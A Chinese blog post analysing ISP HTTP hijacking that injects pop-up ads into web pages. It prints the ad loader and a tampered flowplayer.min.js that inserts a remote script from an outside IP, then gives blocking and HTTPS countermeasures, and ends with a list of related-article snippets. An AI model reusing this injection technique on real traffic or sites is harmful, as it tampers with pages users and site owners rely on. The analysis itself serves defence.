现象
家里装的宽带是浙江电信的,在平时用浏览器访问网页时,网页右下角经常弹出浮动广告。常见的广告是这个样子的,很违和吧?
该广告有几个特点:
- 不管是中国还是外国网站,都有可能弹广告。
- 有些知名网站似乎没有弹过广告,比如新浪微博、Stack Overflow。
- 对某一个网站,只在每天第一次访问时弹广告,显示过一次之后,再刷新网页就不会出现了。第二天访问时还可能弹广告。
- 所有的HTTPS站都没有广告。
原理分析
广告是谁加的
一开始看过几次广告之后,以为是被访问网站自己加的广告联盟之类的代码,第一反应当然是用浏览器的去广告插件屏蔽。通过Chrome查看DOM,发现广告的嵌入代码如下,
<script src="http://116.252.178.232:9991/ad.0.js?v=3.9411&sp=9999&ty=dpc&sda_man=XFpdU1RJWFdZXlE=" type="text/javascript" id="bdstat"></script>
一般是出现在 </body>
之前,即HTML body的最后。服务器地址116.252.178.232属于广西电信。
当在几个国外网站上弹出了同样的中文广告后,我确定这不是网站自己加的广告代码。Google一下这个IP地址,普遍反映这是ISP劫持HTTP流量,插入的广告。
这种行为更准确的名称叫“ 网络直投广告 ”,百度百科是这样介绍的。
网络直投广告是基于中国电信宽带接入网,通过对用户上网行为的分析,在用户上网时、或正在上网的过程中,系统主动、定向、策略性、个性化的向用户推送广告宣传信息。并可以根据用户当前浏览的网站类型,匹配对应的行业关键字,根据行业关键字向用户推送动画、声音、视频、游戏等多媒体交互式广告内容。关键字分类:电脑、通讯、汽车、财经、医药、房产、旅游、教育、人才、美容、电影、游戏、数码等。
所以,这段代码是ISP强行插入的网络直投广告。由于用户访问所有网络都要经过ISP,ISP就有机会给任意网站加广告,把整个网络作为工具为自己牟利。搜索发现不光是电信,联通也有类似行径。某年315还曝光过,之后各地ISP有所收敛,但现在我家浙江电信还是每天都会弹。
如何加的广告
用浏览器访问刚才的广告嵌入代码, http://116.252.178.237:9991/ad.0.js
内容经过格式化后如下,
var bcdata_sp = "";
var sda_man = "";
var bcdata_src = "0";
(function () {
var a = function (h, f) {
try {
var d = document.createElement("span");
d.innerHTML = h;
api.writeO(d, f)
} catch (g) {
document.write(h)
}
};
var c = function (d, f) {
if (f) {
f.appendChild(d);
f.parentNode.appendChild(d)
} else {
var g = f || document.all || document.getElementsByTagName("*");
var f = g[g.length - 1]
}
f.parentNode.appendChild(d)
};
var b = document.createElement("script");
b.type = "text/javascript";
b.src = "http://116.252.178.237:9991/main.js?ver=v48";
c(b)
})();
这段引导代码在DOM上添加另一个script节点,内容为 http://116.252.178.237:9991/main.js
。 main.js
是弹出广告真正的创建者。
那么 ad.0.js
是何时插入的呢?在不同的网站上, ad.0.js
节点出现的位置不固定,不一定总在 </body>
之前。继续用Chrome的Network工具查看每个请求的返回数据,发现网页HTML是正常的,并不包含 ad.0.js
节点。推测是某个JS被篡改了,执行的时候在DOM上又插入了广告引导代码节点。
逐个检查 .js
文件的请求,寻找包含“116.252.178.232”的文件。以某网站为例,发现 flowplayer.min.js
文件的内容不正常。该文件是网页上的视频播放器,托管在七牛CDN上。文件的URL是 http://***.qiniudn.com/static/player/flowplayer.min.js
,Chrome里显示返回的内容是这样的,
(function () {
o = "http://***.qiniudn.com/static/player/flowplayer.min.js?";
sh = "http://116.252.178.232:9991/ad.0.js?v=3.9411&sp=9999&ty=dpc&sda_man=XFpdU1RJWFdZXlE=";
w = window;
d = document;
function ins(s, dm, id) {
e = d.createElement("script");
e.src = s;
e.type = "text/javascript";
id ? e.id = id : null;
dm.appendChild(e);
};
p = d.scripts[d.scripts.length - 1].parentNode;
ins(o, p);
ds = function () {
db = d.body;
if (db && !document.getElementById("bdstat")) {
if ((w.innerWidth || d.documentElement.clientWidth || db.clientWidth) > 1) {
if (w.top == w.self) {
ins(sh, db, "bdstat");
}
}
} else {
setTimeout("ds()", 1500);
}
};
ds();
})();
可以看到该文件的返回数据完全是被替换过的。这段代码首先在DOM上插入了另外一个 <script>
节点,用于重新加载真正的 flowplayer.min.js
文件。然后创建了广告引导代码节点。在Chrome中,看到 flowplayer.min.js
文件有两次请求,第二次返回的是正确的内容。
新插入的 <script>
位置在document最后一个script的父节点,由于改变了JS文件的执行顺序,所以理论上有可能影响被篡改的网页的正常功能。
关于这套广告系统具体如何选择篡改哪个JS请求,我没有进一步的调查。
其他劫持类型
我这里分析的只是浙江电信在目前阶段采用的插广告方法。网上能看到ISP采用的一些旧方法,包括DNS劫持、iframe劫持。
DNS劫持是,例如用户访问Google时,跳转到一个全是广告的页面。还有当访问一个无法解析的网址时,跳转到电信的网址导航站189so.cn,导航站当然是很赚钱的。
iframe劫持也是劫持HTTP流量,将被访问的网页整个包在一个iframe中加载,外面的伪造的页面插弹出广告。用户看到的效果跟本文开头的截图类似。
屏蔽方法
用户
作为普通用户,一般的建议是打电话给ISP投诉,把客服骂一顿,让ISP取消对你家账号的“特殊服务”。我没试过,也不想试,我得留着广告好看看ISP又采取了什么卑劣手段。
作为普通用户,还可以找个认识的程序员来帮助解决此事。
作为程序员,屏蔽这种广告不是难事。首先用浏览器开发者工具在找出广告引导代码的URL,如果是IP地址,就用路由器或防火墙软件封住该IP的访问;如果是域名,就修改hosts把该域名解析到127.0.0.1即可。
注意这样仅靠屏蔽IP/域名并不是真正的屏蔽,仍然有副作用。比如说网页会由于加载不到广告JS而一直处于转菊花状态,经过篡改的网页有可能功能不正常。前人给出了一些复杂的方法屏蔽广告,基本上都要自己搭代理服务器。我觉得太过复杂,不值得。在此列出几个参考方法:
网站所有者
作为网站所有者,有没有办法彻底去除ISP强插到你网站上的广告呢?这样不管你的用户有没有屏蔽广告的能力,在访问网站时都不会看到恼人的广告。
第一个可行的办法是HTTPS化,HTTPS请求无法简单的伪造。目前由于网络安全的形势不好,很多网站都做了全站HTTPS化。虽然有一些开销,这毕竟是个最有效的办法。
目前ISP的做法是只劫持JS文件,那一个简便的方法是JS全部放到七牛CDN上,利用 七牛提供的HTTPS服务 ,只把网页上的JS地址换成HTTPS的,ISP就无法伪造了。(经过在某网站上的试验,该方法目前有效。)
另一个可能的方法是在页面上增加JS代码,检测ISP插入的节点并删掉。这种方法的困难在于ISP插广告是分地区的,而且将来会升级的。作为网站所有者,只能针对已知的情况做针对处理,不一定总能有效。
http://www.tuicool.com/articles/Nje6fa7
相关推荐
本案例分析针对一个具体的问题:域名***被劫持篡改插入广告代码的事件,来探讨互联网内容插入广告的可行性和安全性。 首先,我们要了解什么是劫持篡改。劫持篡改指的是通过非法的技术手段控制或修改域名的正常响应...
在中国电信提供的网络服务中,DNS(Domain Name System,域名系统)扮演着至关重要的角色。DNS是一种将域名转换为IP地址的服务系统,使用户能够通过易于记忆的域名访问互联网上的资源,而无需记住复杂的IP地址。根据...
3. 无效流量的类型:包括机器人流量、爬虫流量、伪装成合法用户的流量、超出频次的流量、隐藏 / 堆叠 / 覆盖的流量、非法劫持广告内容的流量、盗用、伪造、虚假展示的流量、恶意修改、插入或删除 cookie 内容的流量...
【中国电信天翼宽带无线路由器破解方法】 在当前的网络环境中,中国电信天翼宽带无线路由器广泛应用于家庭和企业,为用户提供高速稳定的互联网接入服务。然而,有时用户可能希望自定义路由器的设置,例如更改无线...
《信息安全之Web劫持与流量劫持法律治理研究》这篇文献深入探讨了当前网络空间中的两大安全威胁:Web劫持和流量劫持,并且聚焦于它们的法律治理问题。这是一篇结合技术与法规的深度分析,对于理解网络安全法律体系的...
无效广告流量是指在数字化广告投放过程中,由于各种原因导致广告主的预算被浪费的那部分流量。这些流量并未带来有效的用户接触,反而可能涉及到欺诈行为。无效流量主要分为两种类型:一般无效流量(GIVT)和复杂的...
无效流量的类型多种多样,包括但不限于由机器人和爬虫生成的流量、伪装成合法用户但实际上是未知浏览器等设备生成的流量、通过设备劫持产生的流量、通过非法手段操纵流量和广告展示、盗用或伪造数据、恶意修改cookie...
在CPS计费模式下,流量劫持是常见的作弊手段,包括篡改用户流量来源或修改用户跳转链接,导致广告主自然流量减少,拉新流量增加,或者用户在不知情中跳转到不相关店铺的商品。而在CPA计费模式下,虚假地址问题尤为...
总结来说,DNS劫持主要针对域名解析,可能导致用户被导向错误的网站,而HTTP劫持则发生在数据传输中,可能在用户和服务器之间的通信中插入广告或其他内容。两者都是网络安全性的重要关注点,用户可以通过选择安全的...
来自ISP的广告劫持 你浏览任何网站网页都弹出广告,这就是广告劫持了 什么原理,如何解决让他不弹广告呢.zip
**中间人攻击与广告拦截** 中间人攻击(Man-in-the-Middle Attack,MITM)是一种网络安全威胁,其中攻击者在两个通信方之间插入自己,截取、修改或伪造双方的通信内容。在PFRFA(Proxies For Removing Fxcking Ads...
文网卫士2021最新客户端屏蔽私服劫持,屏蔽自动更新,屏蔽广告推送,屏蔽垃圾进程,屏蔽扫码认证
4. **网络编程**:如果广告是从远程服务器获取的,那么易语言还需要处理HTTP请求和响应,可能需要用到Socket编程或者WinINet库。 5. **多线程处理**:考虑到软件可能需要同时处理多个浏览器窗口,多线程编程也是必...
【流量劫持概述】 流量劫持是指在网络通信过程中,攻击者通过某种手段干扰正常的数据传输,使得原本应发送到目标地址的数据被重定向到攻击者控制的服务器上。这种攻击通常发生在网络的某个节点,如路由器、交换机或...
这段路程中短兵相接的战斗往往是最激烈的,在所有流量可能路过的节点往往都埋伏着劫持者,流量劫持的手段也层出不穷,从主页配置篡改、hosts劫持、进程Hook、启动劫持、LSP注入、浏览器插件劫持、http代理过滤、内核...
在探讨如何使用JavaScript屏蔽被HTTP劫持的浮动广告之前,我们先了解几个与标题紧密相关的核心概念。首先是HTTP劫持,通常指的是当用户的网络请求在传输过程中被第三方劫持,然后在不改变网页原来内容的基础上,添加...
全链路流量回放技术在应对直播流量强关联、接口时序依赖等复杂场景时,还需配置化支持业务字段场景组装脚本,以实现复杂场景的快速适配。在链路回放时,需要依赖配置化,标记业务字段类型,使得在生命周期内的依赖...
### 中国电信DNS大全知识点解析 #### 一、概述 本文档汇总了中国电信在不同省份及城市的DNS服务器地址信息。DNS(Domain Name System)是互联网的一项重要服务,它将域名转换成IP地址,使得用户可以通过易记的域名...
这将对广告拦截软件、电信流量劫持、数据刷量等行业带来重大改变。 5. 原生广告仍具优势:虽然原生广告需明确标识,可能会影响其点击率,但原生广告的融入性和高转化率特性使其仍然具有竞争优势。例如,网易新闻...